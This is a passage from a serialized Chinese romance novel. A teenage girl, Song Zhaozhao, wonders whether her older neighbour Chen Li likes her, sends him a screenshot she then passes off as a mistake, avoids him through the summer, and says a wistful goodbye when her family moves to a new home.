“那肯定啊!”宋母斩钉截铁回复,“咱们宋家做人的原则就是不占便宜,也不亏待朋友,下回妈多给你点零花钱,你记得去请回来!” “挑好的,别心疼钱!”宋母特意叮嘱。 宋昭昭一脸严肃地听宋母教诲,她应和着,重重地点头,计谋得逞后,背过身去忍不住弯了嘴角。 坐在客厅聊了会儿天,宋昭昭迫不及待准备处理那一束茉莉,她满房间的找花瓶,终于在阳台的一个角落找到了空置许久的玻璃花瓶,将它里里外外清洗了三遍,才把茉莉花插进瓶中,然后又抱着它回了房间,将它摆在书桌上最显眼的位置。 洗过澡后,宋昭昭顶着一头吹得半干的头发趴在桌面,她用食指轻轻地戳了两下茉莉花的枝叶,戳着戳着,莫名咧开嘴笑。 酒的后劲这会儿才开始涌上来,她觉得人迷迷糊糊的,有一种漂浮在云端的不真实感。 这束茉莉居然是陈历送给他的,他主动送她花诶! 宋昭昭难以抑制分享的欲望,掏出手机给好友发了一张茉莉的照片,没忍住又发了一长段消息。 这位好友是她初中同桌——陈蓓。 同桌的三年时间里,陈蓓男朋友都换了两任,宋昭昭至今单身。 陈蓓会跟宋昭昭分享恋爱的细节,宋昭昭有时候也会跟她聊聊陈历,她想着陈蓓恋爱经验丰富,应该能帮她分析分析今晚的情况。 发完消息后,宋昭昭将手机搁在一旁,约莫过了五分钟才收到回复。 【宋昭昭,你有没有想过,为什么他要请你吃饭?为什么又送你花?】 为什么? 宋昭昭盯着这一行消息,陈蓓能给她一个准确的答案吗?她蹙着眉头,又一条消息从对话框里弹出来。 【你有没有想过,他喜欢你?】 22. 第二十二章 22 她她她她她……陈蓓她到底在说什么?她人还清醒吗? 她居然,她怎么敢大放厥词到认为陈历可能是喜欢她? 宋昭昭翻了个白眼,“啪”地一声迅速把手机反扣在桌面,双手紧紧抱住后脑勺,心想这个世界大概是颠了。 陈历喜欢她? 呵,怎么可能啊! 宋昭昭冷声哼笑,无力地将下巴搁在桌面,缓缓闭上眼睛回想,然而一闭上眼,脑海里浮现的却全是陈蓓发的那一句—— 你有没有想过,他喜欢你? 陈历喜欢她? 宋昭昭果断地摇摇头,他请她吃饭,送她茉莉花,只是因为他人好,无关喜不喜欢。 当初他们一家搬进风光路,和邻居们都不太熟悉,董莲深夜下班遭遇抢劫,是宋父搭救帮助了她,陈历不过知恩图报,所以才会投桃报李,辅导她写作业,对她照顾有加。 后面随着两家交往频繁,父母之间联系紧密,关系也变得更亲密,两个小孩自然耳濡目染,学会互帮互助。 再加上宋昭昭自来熟,一直厚着脸皮叫他“陈历哥哥”,或许他真把她当作妹妹看待。 从开始到现在,宋昭昭一直在否定陈蓓的言论,然而看见消息那一刻,她不得不承认,自己的心跳骤然慢了一拍。 滚烫的脸颊一直无法降温,脑袋开始发胀。 宋昭昭神思不宁,捞回手机想给陈蓓发一句“你别乱说话”,与此同时,陈蓓的语音电话打了进来。 宋昭昭接过。 “说说吧,今晚你们都干了什么。”陈蓓悠扬的语调从电话那端传过来,声音含笑,一副看好戏的模样。 宋昭昭有些扭捏:“也没什么啊……” 比起陈蓓和男朋友自习课互扔小纸条,逃了夜自修牵手逛操场,周末去KTV包个小包厢,坐在对方大腿上拥吻。 她这点约等于“小打小闹”,简直不值一提。 “别介啊,说来听听,姐帮你分析。”陈蓓深夜闲来无事,乐意做红娘、牵红线,帮人排忧解难。 她嬉皮笑脸地同宋昭昭周旋:“说说嘛,说说又不会少块肉。” 在陈蓓的一再追问之下,宋昭昭最终还是松了口。 从吃完饭逛市民广场到回家前买花,全部过程都向她吐露,除了中间不小心看见别人在墙边接吻,被她一笔带过。 话音落,宋昭昭提心吊胆地等待陈蓓解读。 “嗯——”陈蓓思忖了会儿,沉吟道:“虽然这些举动都很平常,没有任何越界,但陈历这人,听你之前形容,应该蛮有距离感和边界感,他能纵容你,我觉得……” “凭我多年恋爱经验,以及女人的第六感,我敢保证,他就是喜欢你。” “没错,他就是喜欢你。” 陈蓓说得太武断了,宋昭昭都忍不住开始动摇,她不自然地揉了下鼻子,托着腮,开始思考起陈历与她的相处。 其实他们之间单独相处的机会并不多,大多数情况是陈历在她房间给她辅导作业,两个人并肩坐在桌前。她总是不专心,纠错过的题目还能再犯,陈历好不气馁,无奈地笑笑,自认没有教学天赋,可每一次,他仍然会从头开始,负责任地一遍遍讲解。 就在这张书桌前,她因为走神、调皮、偷懒,被陈历用手指弹过脑瓜崩,也被他用笔帽戳过后背,宋昭昭不服气,气鼓鼓地蹬他,他便好整以暇地双手环臂,抬高了脖子准备扬声呼唤宋母。 偶尔两个人离得近,气息交织着,手臂也时不时碰撞在一起,作为男生,陈历大概对这类接触不太敏感,但宋昭昭总是在无意触碰的瞬间,全身如过电流般酥酥麻麻,继而飞速地挪开,再假装不在意地掀眼皮,偷偷去瞧他的神情。 为数不多的相处,点点滴滴小细节,如今回想,她居然都能准确地回忆起来。 宋昭昭没忍住嗤笑一声,自觉向来没心没肺,原来也用心过一次。 陈蓓在电话那端絮絮叨叨,话题越深入,她笑得越耐人寻味。 有一句话她说得很对。 “虽说陈历这么多年没谈过女朋友,但他怎么说也比我们大了五岁,男女之间的感情,他只会比我们更明白,更深刻。” “宋昭昭,你不问问他吗?” 宋昭昭沉默。 陈蓓长叹一口气,慢条斯理道:“错过不觉得可惜吗?反正你们俩的关系,不往前进一步,就永远只能停留在邻居,再好点,也就是没有血缘关系的兄妹。” “大好青春,你要做一个敢爱敢恨的女同学!” 闻言,宋昭昭心中陡然一凛。 她要因为自己的好奇和私心,去打破这段默契吗?她能接受戳破这层白纸之后,两个人都尴尬,最后退回普通的邻居关系吗? 宋昭昭不确定。 但今晚在酒精的催发和陈蓓的怂恿下,她的勇气像一只充满气的气球,在房间上空飘飘荡荡,她脚踩地板,够不着那只气球。 它似乎脱离了她的掌控。 于是,宋昭昭放纵那只气球带着自己的索求飘啊飘,飘啊飘。 宋昭昭眼一闭,再一睁。 她彻底横下心来,决定趁今晚试探一回。她截了与陈蓓的对话框,上下左右裁剪,留下那一句—— 你有没有想过,他喜欢你? - 夜渐深,与陈蓓挂断电话后,宋昭昭躺倒在床上,自从试探的心思冒出头之后,她急不可耐,辗转反侧。 就这么翻来覆去在床上滚了半小时,宋昭昭硬着头皮点开与陈历的对话框,打开截图,点击发送。 发送成功后,宋昭昭再次扔远手机,躲到一旁,安静地等待命运的审判。 时间一分一秒流逝,宋昭昭头皮发紧,双手交叠在一块儿,细看居然在微微发抖。 她太期待陈历的答案,也无比紧张他的回复。 从床头滚到床尾,她一骨碌爬起来,甚至萌生出退缩的念头,趁还来得及,不如先撤回此条消息? 不行。 脑海中蹦出一个小人,果断地拒绝了她的想法。 陈蓓对男女之间的感情看的比她透彻,过去三年陈蓓就有意无意地提点她,主动出击,然而她胆小,怕自作多情之后两个人尴尬,再回不去原来的位置,始终把鸵鸟脑袋,深深地埋进土里。 今天陈蓓拍着胸脯向她保证自己的判断绝无出错的可能,她不免跃跃欲试。 房间内冷气充足,她没有盖被子,皮肤暴露在空气中,身体的温度从最开始的温热渐渐变凉,十指紧扣,沁出细密的汗。 无所事事地等待一个回复,实在太挠人心,宋昭昭忙活了两分钟,从抽屉里找出耳机,连上蓝牙,戴着无线耳机开始听歌。 随机播放的歌单,从激昂高亢的重金属听到娓娓道来的民谣。宋昭昭跟着轻声哼唱。 她熄了灯,双眼无焦点地望向某处。 房间的窗帘留了大约一指宽的缝隙,窗外皎洁的月光漏进来,昏黄的光线下,能隐约看见空气中漂浮的尘埃。 地板仿佛披上一层银白色的薄纱,耳机里的音符随着光跳跃。 又过了三首歌的时间,宋昭昭起身捞回手机,解锁。 没有回复。 宋昭昭眸光黯淡,有点沮丧。 过了可以撤回消息的时间,那张图片就这么无声无息地躺在对话框界面。虽说平时陈历也有早睡早起的习惯,但这个点…… 他大概看见了吧。 宋昭昭轻笑一声,陈历应该是觉得不太好回复,无论如何婉拒都会伤到这段关系,所以才选择沉默。 宋昭昭有些委屈。 鼻子一酸,眼泪不由自主就淌了下来,起初只是小声啜泣,但一想到她的初次心动,就这样无疾而终,不免遗憾,泪水抑制不住,最后,她的双手紧紧揪住被子一角,手上的力道越来越重。 闭上眼,两行泪就这么挂了下来。 可是,陈历又有何错呢?他明明待她真诚,友好,给予她很多帮助。 就因为他太过美好,才令宋昭昭更遗憾了。 她哭得泪眼朦胧,仍然想着不能让这张图片无缘无故地挂在那,她脑子转了转,从床上爬起来,收拾好情绪,给陈历发了几个“尴尬”、“装傻”、“目瞪口呆”等表情包。 紧接着语气夸张地连发了一段消息。 【啊啊啊啊啊!我发错了!】 【尴尬——我说我朋友怎么没回我,原来发给你了,我的天!】 【陈历哥哥你别误会,我在跟朋友讨论同学的感情问题,你可千万别告诉我爸妈哈!】 【拜托拜托!】 每一句话后面都加了感叹号,她将毕生演技运用到极致,恨不能钻进手机那头,摇晃他的双肩,注视着他,向他一字一顿地催眠—— 你一定要相信我,我不是故意的! 当然,陈历信不信已不是她所能掌控的了。 发完之后,宋昭昭也不等陈历回复,立马退出微信,将手机塞到枕头下面,双手老老实实地搭在被子上,准备入睡。 其实睡不安稳,夜里醒过好几回,折腾得第二天一早宋昭昭在镜中看见双眼下面挂着的浓重的黑眼圈,着实被吓了一跳。 “唉。” 她长长地叹了一口气,情绪时刻被人牵动的滋味确实不好受。 隐约也有点理解那些失恋、爱而不得的人,痛哭流涕、深夜买醉、流连忘返,既放不下又折磨自己。 宋昭昭吃过早餐,拖着精神不济的身体回到房间,小心翼翼翻看手机,才发现凌晨一点陈历回了消息。 简简单单的两个字母。 【OK。】 他信了? 这么拙劣的演技,这么漏洞百出的理由,他居然信了?是陈历对她从未有过怀疑,还是他根本懒得动脑筋? 或许宋昭昭该夸一句自己的演技,属实逼真。 只是…… 为什么凌晨一点了,他还没有睡?他有什么心事吗? 宋昭昭纳闷地挠挠头,抱着手机撇了撇嘴。 - 宋昭昭这一整个夏天都过得有些闷闷不乐,她试图说服自己,忘记那次弄巧成拙的截图,也许陈历本人根本没当回事。 但她做不到。 他送她的那一支茉莉,从含苞待放的花蕾绽放,养在花瓶里短短一周,又走向枯萎。 一同枯萎的,还有她那颗蠢蠢欲动的心。 女孩子脸皮薄,闹了这么一出乌龙,她更没有脸面见陈历,平时出家门都要时刻关注对门的动静,只不过以前是为了偶遇,现在则是为了回避。 当然,在这个夏天结束之前,她刻意回避的机会不多了。 因为,父母在八月底的时候,跟宋昭昭提出了搬去新家的想法。 从九月开始她就是高中新生,新家所在的小区离高中校园更近,目前家具都已经到位,房间也都通风过一段时间,在她入学前搬家再好不过。 饭桌上,父母又提起这件事。 宋昭昭为难地拨着碗里的米粒,低声道:“可是,可是搬家之后……” 宋母对搬家一事格外兴奋,双眼冒着亮晶晶的光,体贴说道:“反正你高中继续住宿,一周才回家住两晚,对你影响应该不大。” “你觉得呢?” 宋昭昭耷拉着脑袋,拉长了语调:“嗯——应该吧。” 宋父看出了她情绪低落,他搁下碗筷,关切地凝望着宋昭昭,试探着问了句:“昭昭,你好像不太想搬家?” 此言一出,手舞足蹈规划搬进新家生活的宋母一顿,她停了动作回看宋昭昭。 两个人的目光都聚焦在宋昭昭身上,她艰难地抬起头,扯了扯嘴角,笑一笑:“有吗?没有吧。我只是在风光路住了好几年,有点不舍得。” 语气明显低落,可见感情深厚。 “你是不是舍不得莲姨,舍不得陈历哥哥?”宋父火眼金睛,一眼看穿宋昭昭的心理,他 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先前她和陈历给流浪猫搭了一只棚子,那棚子已有两三年时间,中途风吹日晒,有些损坏,去年夏天刮大风,顶棚都直接被掀翻了,他们不得不冒着雨去查看小猫,等风雨停了后,又拿上工具重新修缮了一次。 今年年初,小流浪猫生了一窝崽,共有六只,不知道跟什么品种的公猫□□的,生出来各有各的模样。 他们还是没有给小猫取名,张口就是一句“咪咪”。 三年不到的时间,咪咪也从一只哼哼唧唧且瘦小的小奶猫成为了母亲。 做了母亲之后,咪咪身上居然多了些母性光环,通身都带着温柔,但眼神也更凌厉了,对待靠近小猫崽的陌生人,凶狠地哈着气,龇牙咧嘴。 咪咪生完崽之后身体虚弱,宋昭昭特意去宠物店买了宠物专用的羊奶粉,在家时每天定点泡好羊奶,送到小猫崽那里,好吃好喝地照顾着。 咪咪对她的态度越来越亲密,偶尔还会主动蹭蹭她的掌心,以示亲热和信任。 当然,它也是个知恩图报的小猫,某次宋昭昭放学回家,它大老远就亮起了眼睛,待宋昭昭停下脚步后,咪咪居然叼着一只老鼠放到了她的裤脚边。宋昭昭被吓得撒腿就跑,徒留咪咪在原地不知所措。 后来陈历告诉她,那是咪咪在报答她。 宋昭昭走到棚子前,四处张望了会儿,并没有发现一只小猫的身影。 咪咪生养的猫崽基本都被人领养完了,许多人领养宠物就喜欢挑选刚出生的崽子,离开母猫,没长大,好教养。 咪咪这么多年在风光路流浪,性子已经养成,而且它已经习惯独来独往,往东边窜窜、西边逛逛,日子过得悠哉游哉。 棚子里空空荡荡的,没见到咪咪的身影,宋昭昭原地蹲下。 她还记得刚遇见咪咪的时候,它还是个小不点,看见它会瞪着眼睛,悄悄躲进灌木丛,只有陈历手中的鸡胸肉能将它吸引出来。 都说小动物会分辨一个人的好坏,彼此不熟悉的情况下,咪咪愿意同陈历亲热,大抵就是他身上善良温和的气息吸引了小猫。 相处久,她对待咪咪总有些特殊情怀,毕竟这是她和陈历共同救护的猫咪。 只可惜,她即将要搬离风光路了。 在风光路的这三年,过得像一场不真实的梦。 她以前从未设想过一见钟情的戏码会发生在自己身上,可是放学归来,迎着夕阳的光,吹着温热的风,她跑过一个上坡,眼前蓦地出现陈历的身影,初次见面,他仰头大口喝水,喉结随之上下滚动,随手将空瓶子抛掷进一旁的垃圾桶,动作干脆利落。 “咚”的一声,轻巧地砸进了她的心房。 只此一幕,至此一瞬。 唯美的夕阳衬得他干净清爽,好似电影中重复播放的画面,少年人永远年少,永远活在别人的记忆中。 这个别人,就是宋昭昭。 - 等了许久没有等到咪咪,宋昭昭起身准备回家。 当她走出半米远,在转弯的路口,视线随意往前一扫,看见了远处正低着头,手指拨弄着肩上飘落的树叶的陈历。 他应该是刚下班,斜挎着包,从风光路的尽头往回走。 从前刻意制造偶遇,她都能面不改色地打一声招呼“嗨,好巧啊”,等今天真偶遇了,她往前的脚步滞了一瞬,下意识想要躲藏。 宋昭昭慌乱地往左右张望了两眼,找到一棵粗壮的大树,就跟落水者抓住一根浮木般,迅速闪身躲进大树背后,而后悄悄从树后面露出一双眼。 她竭力缩起身子,探出一颗圆溜溜的脑袋。 今天的风有些凛冽,小道两旁的枝叶簌簌作响,有几片落叶从天而降,蹭过他的衣角飘落在地,陈历脚步一顿,再抬脚时选择跨过了那片落叶。 他目视前方,心无旁骛,匀速地往家的方向走。 宋昭昭的视线顺着他的身影旋了一百八十度,凝望着路灯下越来越远的他,高高瘦瘦的背影,挺直的脊背,只是远远望着,嘴角都不由自主浮起笑意。 然而,当他走进楼道,彻底在眼前消失时,宋昭昭又不免耷拉下嘴角。 此后,再要制造偶遇恐怕难上加难。 宋昭昭浅浅地从胸腔中呼出一口气,真讨厌啊,讨厌这个闷热、粘腻、无所用心、怏怏不乐的夏天。 在这个讨厌的夏天即将结束的时候,他们也正面临分别。 陈历走进楼道后,宋昭昭也从大树背后钻了出来。 她站在路灯底下绕了几个圈,脚尖无意识点地,算计着他应该上楼回家了,才慢腾腾挪步,往家里的方向走去。 她故意放慢速度,就怕跟他迎面撞上。 正当她低着头刚迈进楼道,耳边忽然传来一阵低沉嘶哑的男声。 “宋昭昭,为什么躲着我?” 宋昭昭抬脚的身影晃了晃才站稳,她缓缓回过头,对上陈历幽深的眼眸。 23. 第二十三章 23 陈历斜靠在墙面上,单脚支地,双手环抱在胸前,好整以暇地向她投来目光。他整个人隐在黑暗里,眼神晦涩不明。 目光交汇的一瞬间,宋昭昭心中陡然一颤。 他的眼睛是一望无际的草原,而她是这空旷草原上唯一待捕的动物。 她避无可避。 宋昭昭吞咽了下口水,硬着头皮面朝向他。 他怎么会站在这里?没有回家吗?难道方才他已经发现了她,所以故意等在楼道? 楼道外面吹来几阵风,八月底虽已入秋,但温度居高不下,因而扑面的风都暖烘烘的,并未令人感到凉爽舒适。 漆黑的夜空零零散散挂着几颗星星,光芒时而闪耀,时而沉寂。 对视得久,宋昭昭的身体有些僵硬,她扯了扯嘴角,扬起一个哭笑不得的微笑,冲他笑嘻嘻打招呼:“嗨,好巧啊。” 干巴巴的问候没有得到任何回应,陈历依旧只是面不改色地盯着她。 气氛似乎变得尴尬,宋昭昭的笑意挂不住,小心谨慎地抬头瞥了他一下,见他面无表情,她紧接着收敛了笑容。 时间的秒针在她心头滴滴答答地走动,陈历的视线钉在她身上,眉头拢起,给她很强的压迫感,宋昭昭招架不住。 叫住她,却又不搭理她,这算什么事? 宋昭昭克制住落荒而逃的念头,掀了掀眼皮,又扬起声:“你刚下班吗?” 陈历的面容依旧冷着,他从黑暗中走出来,目光在她脸上一扫而过。 他在离她两步远的地方站定,居高临下地望着她,再次重复了一遍:“为什么躲着我?”虽然看起来脸黑,但语气确实比方才柔了几分。 宋昭昭牵了牵嘴角,又来到她装傻充愣的环节,她“嘿嘿”一笑,抬手摸了摸后脖颈:“有吗?没有吧。” 末了佯装不解,向他发问:“我又没做亏心事,干嘛要躲着你?” 似是为了肯定自己的说法,宋昭昭下意识的重重地点了两下头。 总归还是心虚,尤其是陈历一声不吭地盯着她看,说话间,宋昭昭的目光不由自主地往他身上瞟,小心翼翼地观察他的表情。 他依旧表现沉稳,如一座巍峨耸立的高山,不动声色地站立在她身前,挡住了楼道外面投射进来的月光。 她被他的身影罩住,缩成小小一团。 “整个暑假你都不来找我,也没偶遇过,我还以为你在躲我。” 陈历就这么风轻云淡地把事实说了出来。 宋昭昭微怔,说谎话的人是不是会脸红?会不会跟匹诺曹一样长鼻子?总之,她现在身体发烫,全身的反应都变得不自然。 她梗着脖子,结结巴巴道:“找你,找你干什么?你不是在兼职嘛……” 我以为你很忙的。 “找我,当然是和以前一样啊。” 陈历很浅地弯了下嘴角,反问:“你不是说我上大学之后都没时间辅导你功课,希望我寒暑假在家,能匀些时间教你?” 他说得都是事实,表情又非常坦荡,宋昭昭实在羞愧,恨不能挖个地洞钻进去。 她像只胆小怯懦的乌龟,在他直勾勾的目光中渐渐将脑袋缩进了龟壳里。 她总不能说,因为自己闹的乌龙过于丢脸,所以才不敢见他,所以才要费尽心思去躲开他吧。 宋昭昭的表情略显为难,这时脑海里不知怎么就响起陈蓓曾经说过的话:男人啊,就像水里的鱼,你不能只眼巴巴地等他自愿上钩,要懂得放诱饵。 陈蓓还说,她看一个男生对自己有没有意思,不止看明面上的讨好和付出,有些男生性格闷、心思沉,再喜欢都不会明晃晃地表达爱意,但再冷静自持的人,总会在你接触另一个男生的时候,表现反常,那些隐秘的、别扭的表现,就是对方露出的马脚。 她说,可以用些手段去试探男生会不会吃醋。 宋昭昭眼珠子滴溜一转,慢吞吞地说:“你都在忙,我不好意思打扰你。我有个同学,他挺擅长数理化的,最近都是他在教我。” 她没有撒谎。 初中开学以来,宋昭昭在班级里就挺受欢迎的。 她长得高高瘦瘦,偏偏脸蛋肉嘟嘟、红扑扑,长相偏幼态,性格古灵精怪,没有怪癖,和谁都能聊两句,班里对她青睐的男生有好几个,只不过当时她一心扑在陈历身上,对他人的示好视而不见。 上次她闹了笑话之后,陈蓓怕她心情不佳,于是拉她去图书馆学习,原以为只有姐妹两人,结果到了地方,陈蓓吆喝了好几个同班同学,最后直接在图书馆组了个学习小组出来。 三年同学,其中有个男生对宋昭昭依然初心不改,陈蓓挺看好他,特意给他们腾了空间出来,方便他们交流。 宋昭昭本来抗拒,但对方数理化成绩遥遥领先,又愿意耐心跟她讲解,一来二去,两个人也混得越来越熟,最近他们私下都有联系。 话音落,陈历黑眸微眯,看向她的眼神变得探究起来。 宋昭昭眼神躲闪,莫名其妙浮现出“背叛”的错觉,最后深深地埋下头,盯着脚上的鞋子,逃跑的念头又浮了出来。 “那挺好。”陈历平静地看着她,慢条斯理道,“趁着暑假多预习高中的知识,高中老师讲课节奏快,尽量不要落下功课。” 陈历以过来人的身份提点她。 宋昭昭“嗯”了声,她的身体时刻紧绷着,像一张拉满弦的弓,不得片刻放松。 陈历没半点情绪,他可以提出他的疑惑,无论对方如何解答,他都能接受。 夜渐深,继续在楼道口“对峙”毫无意义,陈历抬脚准备上楼。从她身旁经过,擦肩的瞬间突然停住。 “我听说,你们要搬家了?” 这个消息早在前两天,董莲就跟陈历提起过。 具体几号搬还没有完全确定,宋父宋母只说了个大概的日子,遗憾的同时又盛情邀请他们去新家聚餐。 董莲当时嘴里嚼着菜,眉心微微拧着,她想着搬来风光路三年,宋家人帮了她不少忙,他们搬家总要送点礼物过去,至于送什么,她犯了愁。 陈历这几天一直在等,等宋昭昭主动开口和他说搬家的事情。 之前她几乎事无巨细地和他分享学习、生活上遇到的所见所闻,遇上搬家这么大的事,她没理由不告诉他。 但他左等右等,等到八月底,都没有等来宋昭昭的信息。 今晚下班迟,他从风光路尽头往家的方向走,远远就看见了宋昭昭蹲在搭建的棚子前,灌木丛中没有流浪猫的身影,她一个人蹲在那里,背影看起来有几分落寞。 或许她在告别? 咪咪被他们精心照顾了三年,在这只小流浪猫身上,他们两个人都倾注了一定的感情和精力,某次开玩笑,宋昭昭还说咪咪倒像是她的崽。 搬家前,她居然还想着去看咪咪一眼,怎么没想到要和他告别呢? 见状,陈历刻意停在路口,慢吞吞地掸走身上的落叶。 宋昭昭起身前,他迅速低下了脑袋,装作不经意经过,余光却早已锁定她的步伐。 令他感到意外的却是,宋昭昭看见他时,非但没有主动打招呼,而是仓促地寻了棵大树躲起来。 她在躲他? 陈历为这一认知感到可笑,他拧着眉回忆了整个暑假宋昭昭的表现,好像是有点反常。 于是,他故意等在楼道口,想问问她原因。 “你知道了啊。”宋昭昭的唇角终于动了动,语气里反而有些许“如释重负”。 垂着的脑袋抬起来,她的目光在他身上短暂的顿了一秒,继而缓缓移开:“可能就是这几天吧,今天晚上我爸妈还提起这事呢。” “需要帮忙吗?”陈历问,声音平静无波。 宋昭昭侧回头,不紧不慢地说:“应该不用,爸妈到时候会叫专门搬家的人过来帮忙。” “好。” 话题到这里戛然而止。 宋昭昭跟着陈历爬楼梯上楼,她想起初遇那天,是他刚搬来风光路,大包小包的行李,他一声不吭地扛着就上了楼。 这里的房子都有主人,新搬来只有租住的可能,宋昭昭原以为他在这里住不长,却不料是她先搬离这栋楼。 缘分,有时候挺奇妙。 到了家门口,两个人挥手道别。 宋昭昭头也不回地拖着疲惫、沉重的身体进了门,站在楼道里的短短几分钟,她的身上居然起了粘腻的汗。 可能是因为慌张、心虚、失落等多种情绪叠加,导致她无法镇定自若地面对。 回到家,钻入开了冷气的房间,方才那点潮湿和粘腻荡然无存。 宋昭昭挪开椅子,呆愣愣地在桌前坐了会儿,掏出手机给陈蓓发了条消息。 【贝贝,你说得一点儿也不准。】 贝贝是陈蓓的小名,宋昭昭平时有事没事总唤她小名,“贝贝”比“陈蓓”更亲密,叠词叫起来也更可爱。 不是她说的,探究一个男人的感情,不能只看表象吗? 有些男人的情感像一面湖泊,湖面上风平浪静,湖底下暗流涌动。陈历就像一面深不可测的湖水,光盯着表面研究不出名堂。 可她今晚都搬出其他男生给她辅导功课的理由了,他怎么还是不动声色? 因为不在乎、不在意? 宋昭昭有些泄气,沮丧地趴在桌面,视线落在空玻璃瓶上,茉莉花早就枯萎,被她丢进垃圾桶,只剩下这只空无一物的花瓶。 房间的灯光照在瓶身上,反射出五彩的光。 有些绚烂,也有些恍惚。 - 虽然宋父宋母提前说过会叫搬家公司,无需董莲和陈历帮忙,但真到了搬家那天,母子两人还是推掉了手头的事情,帮他们楼上楼下一趟趟地搬运物品。 宋昭昭的衣服打包了好几只箱子,陈历进入她房间时,扫了一眼堆放在木质地板上的大箱子,并不多话,弯下身、抱起箱子就往外走。 陈历任劳任怨,倒是行李的主人宋昭昭有些羞赧,不好意思地挠挠头:“没事的,陈历哥哥,我自己也能搬。” 闻言,陈历回头瞥她一眼,似乎在问:你确定? 当然是客气话,但宋昭昭仍然觉得麻烦他怪难为情,于是屁颠屁颠地跟在他屁股后面。 “你……我的东西挺多的,一时搬不完,你别着急。” “有搬家叔叔帮忙,要不你休息会儿?” 她说得断断续续,飞速跟上他的脚步,走到楼梯口时,和搬家工人迎面撞上,陈历微微侧身,给别人让了一条道。 宋昭昭余光看见来人,但她没刹住脚,直愣愣地撞向陈历的后背,压抑的闷哼声从嗓子里溢了出来,她忍着疼吸了吸鼻子,他身上洗衣液的淡香顷刻间钻入鼻尖。 “撞疼了?”陈历别过头。 “呜——”宋昭昭捂着额头,表情皱皱巴巴。 见状,陈历微微一笑:“依我看,该休息的人是你,外面热,回屋待着吧。” 说罢,他抬脚快速向楼下走去,如此反复三四趟,他凭一己之力把宋昭昭装满了衣服的箱子全部搬到楼下。 宋母见他跑上跑下,赶紧拦住他,从冰箱里翻了两只雪糕递给他。 “哎哟,这都出汗了,太麻烦你了,去休息会儿吧,叔叔阿姨要搬的东西剩下不多了,你跟昭昭去她房间坐会儿。” “去吧,快去。” 说着,又扯开了嗓子吩咐宋昭昭:“昭昭,去开空调,带陈历哥哥去坐着休息。” “哦。” 宋昭昭领他进了房间,房间里的衣服、被子、枕头以及各种装饰早就被她打包进箱子,这会儿房间空空荡荡的,连一张椅子都没剩下。 两个人一人靠着一面墙,盘腿坐在地板上。 人累极了,话便变得少。他们面对面而坐,紧贴着墙,几乎同时撕开了雪糕的外包装,小口小口咬着吃。 这栋楼,宋昭昭对它的记忆还停留在五六岁,读幼儿园的年纪。< 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宋母常笑说,她嫁给宋父以来总是“居无定所”,虽然一次住得比一次好,但总是担心后面的日子会出意外。 但好在买下高档小区的房子后,他们未来也算有了固定的住所。 对于新房子,宋母倾注了许多心血,工作之余的周末,总会拉着宋父去装修现场监督,就连家具、窗帘、装饰等,都要认真挑选,亲自过目。 可以说,新家完全是照着宋母的喜好装修布置的,她品味好,眼光高,宋父和宋昭昭也放心交由她全权负责,从来没提出过反对意见。 宋昭昭吃雪糕的速度远没有它融化的速度快,她心事重重地咬了两口,含在嘴里慢吞吞地吃,雪糕化了顺着木棍滑下来,递到了手指上,她才后知后觉地四处找纸巾。 她左右张望时,陈历注意到她的动静,从地板另一端坐过来,他早已吃完雪糕,顺手掏出一张餐巾纸,仔细地帮她擦拭着滑到手指上的雪糕。 他的动作很轻柔,指尖相触的瞬间宋昭昭顿了顿,有点痒,不止是触碰的手指。 她不停地掀眼瞥他,陈历依旧风轻云淡地帮忙擦手,擦完后又将纸巾折叠好,不急不缓地说:“我给你送了个小礼物,刚刚塞到你箱子里了。” “我晚上有事,等会儿你们坐车去新家,我就不陪着过去了。” “你帮我跟叔叔阿姨说一声,恭喜乔迁之喜,祝未来平安如意,事事顺利。” 他做事总是这般面面俱到,让人挑不出刺。 宋昭昭还未彻底回神,眼睛直愣愣地盯着方才被他用纸巾擦过的指尖,轻“嗯”了声。 只是…… 他什么时候还给她准备了礼物?祝贺她搬新家吗?刚刚帮忙搬行李的时候塞进去的吗? 雪糕吃到最后有点没滋没味,因为宋昭昭的心思全然不在唇齿间的味道。她吃得缓慢,刚吃完想和陈历说点道别的话,门口传来宋母的呼唤。 “昭昭,我们要走了。” “你准备好没有?师傅们都在楼下等着。” 搬家公司的师傅开着一辆大面包车前来,师傅们帮忙搬运行李,等到了新小区,还要把所有东西从车上卸下来,再搬到新家。 面包车上没多余的座位,宋父宋母自己开车走,虽然已经将新小区的定位发送给师傅,但到了地方,还需要业主的通行证,所以他们得在前面领路。 时间刻不容缓,未说出口的话卡在喉咙里,宋昭昭望向陈历的眼睛,眼波流转。 静静地对视了半分钟,陈历率先错开她的视线,撑着手,轻轻巧巧地从地板上站起来,他站在她面前,微微俯下身,轻拍了下她的后脑勺,说:“去吧,不送你了。” 这句话勾出了宋昭昭难舍难分的情绪,她对这里有太多不舍。 尽管明白风光路的老房子父母不会对外售卖,以后有机会她也可以回来看看,但是这间空荡荡的房间,再不会有她生活的气息,总归是不舍。 她沮丧地垂着头,跟在陈历身后,一前一后地走出房门。 宋父宋母已经等在楼下,宋昭昭手里握有家门口的钥匙,她锁上门,按着门把尝试了一下,打不开,才松开手。 “昭昭,快点下楼!” “要走了,师傅们都在等着咱们呢!” 宋母坐进车子的副驾,摇下车窗冲楼上大喊一声,嗓门响亮,前后几栋楼的邻居都好奇地探出脑袋。 “来了。” 闻言,宋昭昭赶忙应了一声,尾音有些发颤。 他们所住的楼层高,下了半层楼,走到平台的玻璃窗户前,宋昭昭拦住陈历:“不用送我下楼了,我走了。” “好。” “陈历哥哥。”宋昭昭长舒一口气,郑重地看向他,“以后,我还可以找你吗?” “当然,多联系。” 有了他的话做承诺,宋昭昭不再过多纠结,她背过身,手举到半空朝他挥了挥,生怕下一秒眼泪会先坠下来,抬起脚就往楼下跑。 跑动起来,身侧就会有风。 宋昭昭的发丝飘扬,裙摆晃动,她一鼓作气跑到一楼,打开车子后座,坐了进去。 宋父确认她坐好之后,启动车子。 眼前是道路两旁栽种的树木,绿意掩映。 跑动之后,宋昭昭的呼吸不匀,胸膛微微起伏,她喘息着,降下后座的车窗,抬眸往楼房的窗户口看过去。 刚才两个人站立的平台,窗户拉开半扇,可惜并没有露出陈历的脸庞,她眯起眼,仔细地盯着看。 直至车子从小道驶离,那栋楼在她的眼中缩成微小的倒影,她也没有寻到他的身影。 宋昭昭依依不舍地收回了目光,倚靠在车后座,失魂落魄地抠着指甲玩。 眼眶中溢出亮晶晶的泪水,被她倒逼了回去,她倒也没有很伤心,只是觉得人与人之间的缘分,确如朝露,转瞬即逝。 但愿吧。 但愿来日,有缘再见。 24. 第二十四章 24 